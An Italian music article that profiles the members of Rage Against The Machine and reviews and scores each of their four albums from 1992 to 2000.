EXCURSUS – RAGE AGAINST THE MACHINE (1992 – 2000)

EXCURSUS – RAGE AGAINST THE MACHINE (1992 – 2000)

EXCURSUS – RAGE AGAINST THE MACHINE (1992 – 2000)

Excursus a cura di Domenico De Cicco

Sarebbe impossibile parlare di una band come i Rage Against The Machine (da ora in avanti, nel testo, RATM) senza citare un po’ di storia personale dei quattro membri della band. Perchè solo comprendendo il differente background artistico, umano e sociale dei suoi componenti, si può capire appieno il sound di una band così particolare e contaminata. Cominciamo pure col cantante, Zack De La Rocha: californiano di origine messicana, il padre è un grande artista grafico, che per anni si è occupato di istituire e gestire programmi no-profit per i ragazzi di strada della comunità ispanica dei ghetti di Los Angeles, per toglierli dalle strade e dar loro delle prospettive di vita e di futuro tramite la street art e i murales. Il giovane Zack cresce dunque fin da piccolo in un ambiente stimolante, dove all’arte si accompagna l’impegno politico e sociale. Ben presto si appassiona all’ondata di band Hardcore Punk che invade la California negli anni Ottanta, per poi lasciarsi affascinare dal movimento Hip Hop che nasce proprio in quegli anni nelle metropoli degli USA. Il chitarrista Tom Morello, figlio di un guerrigliero Kenyota (che abbandonerà ben presto la famiglia per tornare a vivere in Africa) e di una professoressa italo-americana, cresce in una piccola cittadina del Midwest americano, unico bambino di colore del suo quartiere. Nella sua giovinezza alterna la passione per gli studi e per la politica (che gli frutterà anche una borsa di studio a Yale, con successiva laurea in Scienze Politiche) a quella per la musica Hard Rock e Heavy Metal, a cui presto si affiancheranno l’amore per il Punk e quello, anche nel suo caso, per il primo Hip Hop, in particolare quello aggressivo e politicizzato di gruppi come Public Enemy e NWA. Nel frattempo, trova anche il tempo di insegnare i rudimenti della chitarra ad un suo vicino di casa ed amico, tale Adam Jones, che poi suonerà nei Tool, diversi anni dopo. Trasferitosi in California, entra ben presto nei Lock Up, ottima formazione che mescola Hard Rock e influenze Funk. Il bassista Tim Commerford è il figlio di un ingegnere aerospaziale e di un insegnante, che inizia a suonare da adolescente il basso in varie band Punk Rock e che ama il Funk degli anni ’60 e ’70 e il Jazz. Il batterista Brad Wilk, di origine ebraica, è un fan di Who, Led Zeppelin e Van Halen, che in quegli anni si dà da fare in varie Rock band di L.A. e che abbandona il suo ultimo gruppo, in cui milita anche un giovane e ancor sconosciuto Eddie Vedder, per dedicarsi a qualcosa di “più Heavy”. Occasione che per lui arriva ben presto, quando il nucleo di quelli che saranno i futuri RATM (che nel frattempo, nel 1991, si sono già conosciuti e hanno iniziato a buttar giù le prime idee)  lo invita ad entrare nella nuova band. Brad accetta e assieme agli altri tre formerà una delle band più importanti ed influenti di tutto il Rock duro degli anni ’90. Seppur non molto prolifici, infatti (solo quattro dischi ufficiali in un decennio), i Nostri metteranno a ferro e fuoco il mondo del Rock Alternativo americano e mondiale, lasciando una indelebile e imperitura impronta sul cosiddetto “Crossover”. Analizziamo ora i loro dischi, iniziando ovviamente dal primo, epocale, album in studio:

Rage Against The Machine (1992): per apprezzare questo disco in tutta la sua potenza e genialità, basta semplicemente ascoltarlo. Per comprenderne appieno la portata storica, invece, tocca per forza fare un giro a ritroso nella storia del Rock “contaminato”. Le commistioni tra musica Rock e “Black Music” (ricordiamo comunque che, nonostante tutto, il Rock stesso deriva comunque, in buona parte, dal Blues degli Afro-Americani) nel 1992 sono già in atto da almeno un decennio nella scena Alternativa americana, soprattutto nello Stato della California da cui provengono proprio i RATM: iniziando dal folle ibrido Punk-Funk-Blues-Country-Jazz dei Minutemen e dei Firehouse e proseguendo con il Funk Rock muscolare dei RHCP, il miscuglio Ska-Punk-Reggae-Soul-Metal dei Fishbone, il Rock intriso di Psichedelia, New Wave e Funk dei Jane’s Addiction, il Metal funkeggiante,sperimentale e progressivo dei Faith No More, il Rock astratto acido e composito dei Primus – capaci di portare alle mente nello stesso brano la follia di Zappa, il Groove dei Funkadelic e la spigolosità dei Devo – diverse band hanno già lasciato una grande impronta in quegli anni. Ma anche nella costa Est band seminali come i Bad Brains e i Living Colour sulla sponda Rock, i Beastie Boys e i Public Enemy su quella Hip Hop, hanno detto la loro sulle possibilità di ibridazione tra le chitarre elettriche e i beat Hip Hop e Funk. Quello che però portano a compimento i RATM nel corso di questo debutto, al contrario, non è un mero ibrido, per quanto geniale o riuscito: la loro infatti è una commistione totale, nella quale è impossibile stabilire con certezza quando inizia una cosa e quando finisce un’altra. I RATM non sono un gruppo Hard Rock con influenze Funk, non sono una Metal band a cui piacciono Punk e Hip Hop, e sicuramente non fanno del mero Rap con le chitarre. Tutti questi elementi infatti si fondono in una sola e unica formula, in cui una sezione ritmica al contempo duttile e irresistibile alterna botte Heavy clamorose a Groove Hip Hop e Funk trascinanti, facendo da base per le invenzioni chitarristiche di quel genio di Morello, che alterna riff degni di Sabbath e Zeppelin a break rumoristici e immaginifici, in cui con pochi effetti e molta inventiva crea sulla chitarra beat, scratch, assoli rumoristi, come se fosse un dj Hip Hop. A tutto questo si aggiunge la prestazione vocale di De La Rocha: a cavallo tra furia Hardcore e rime Rap, il nostro veicola alla perfezione il messaggio anti-sistema, anti-capitalista e politicizzato dei RATM, con testi potentissimi che sparano frasi di condanna e di denuncia come fossero proiettili calibro 45. Killing In The Name, Bullet In The Head e Know Your Enemy sono forse i tre brani che meglio esplicano lo stile dei Nostri, ma tutto il disco è un compendio perfetto di Crossover totale, che a distanza di oltre un ventennio non perde un milligrammo di potenza e significato.

VOTO: 10/10

 

Evil Empire (1996): passano ben quattro anni in cui la band arriva in cima alle classifiche di vendita in America, ha grande successo anche nel resto del mondo e si imbarca in lunghi e devastanti tour mondiali. Nel 1996 i RATM sono una delle Rock band più importanti del pianeta e il loro secondo album in studio è uno dei più attesi dell’anno. Il risultato, duole dirlo, delude almeno in parte le aspettative. Le coordinate sonore restano, per buona parte, quelle dell’esordio, anche se in questo caso si marca di più l’accento sulle componenti Funk e Hip Hop del sound, ma con un suono più distorto e potente (in particolare nel basso di Commerford, già molto presente sul primo disco, ma qui assolutamente deflagrante). Nonostante la grinta e la potenza restino invariate comunque, l’album nel complesso non ha la varietà e la genialità compositiva dello strabiliante predecessore, al di là delle fantastiche People Of The Sun, Roll Right e Bulls On Parade (che fanno da soli alzare il “punteggio” del disco di almeno un’unità) il tutto resta sempre eccessivamente omogeneo e monotematico. E’ comunque un buon album, che otterrà anche in questo caso un ottimo successo, ma sicuramente non è consigliato iniziare a scoprire la musica dei RATM proprio da qui.

VOTO: 7/10

 

The Battle Of Los Angeles (1999): Dopo un disco epocale e un altro buono, ma un po’ sottotono, i RATM del terzo album devono per forza dimostrare di non essere stati una semplice meteora del panorama Rock. Per loro – e nostra – fortuna, ci riescono in pieno col loro terzo album: trainato dal singolo Sleep Now In The Fire (riffone Rock’n’Roll alla Stooges, basso corposo alla Curtis Mayfield e batteria swingante), l’album è un caleidoscopio di riff devastanti, ritmiche ossessive e torride e ricerca sonora certosina (con un Morello ormai magistrale nella sua ricerca sonora di suoni chitarristici alieni e strabilianti) il disco è una bomba di Rock mutante e “bastardo”, dove alla forza del messaggio politico corrisponde nuovamente una base sonora altrettanto destabilizzante. I RATM sono rinati, peccato che la festa sia destinata a durare poco.

VOTO: 9/10

 

Renegades (2000): alla fine del 2000, a causa di alcune tensioni all’interno della band, i RATM si sciolgono. Come lascito ultimo, consegnano ai posteri un disco di cover. La differenza tra un gruppo “normale” e i Nostri però, è che nel loro caso anche un disco di cover può diventare epocale. A parte un paio di episodi dove i RATM si mantengono piuttosto fedeli alle canzoni originarie, infatti, il disco potrebbe essere, ad eccezione dei testi, una raccolta di brani originali dei nostri, che prendono brani immortali di Rolling Stones, Cypress Hill, Bruce Springsteen, Afrika Bambaataa, Devo, Bob Dylan, MC5 e tanti altri, sovrapponendo però ai testi (scelti appositamente tra quelli più forti come messaggio politico e di denuncia sociale tra quelli degli artisti selezionati) delle musiche “alla RATM“. Operazione molto particolare, molto rischiosa e ambiziosa nelle intenzioni, che però riesce splendidamente, regalandoci un altro disco di ottimo livello. Un bel canto del cigno.

VOTO: 8/10

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Sebastiano Dall'Armellina

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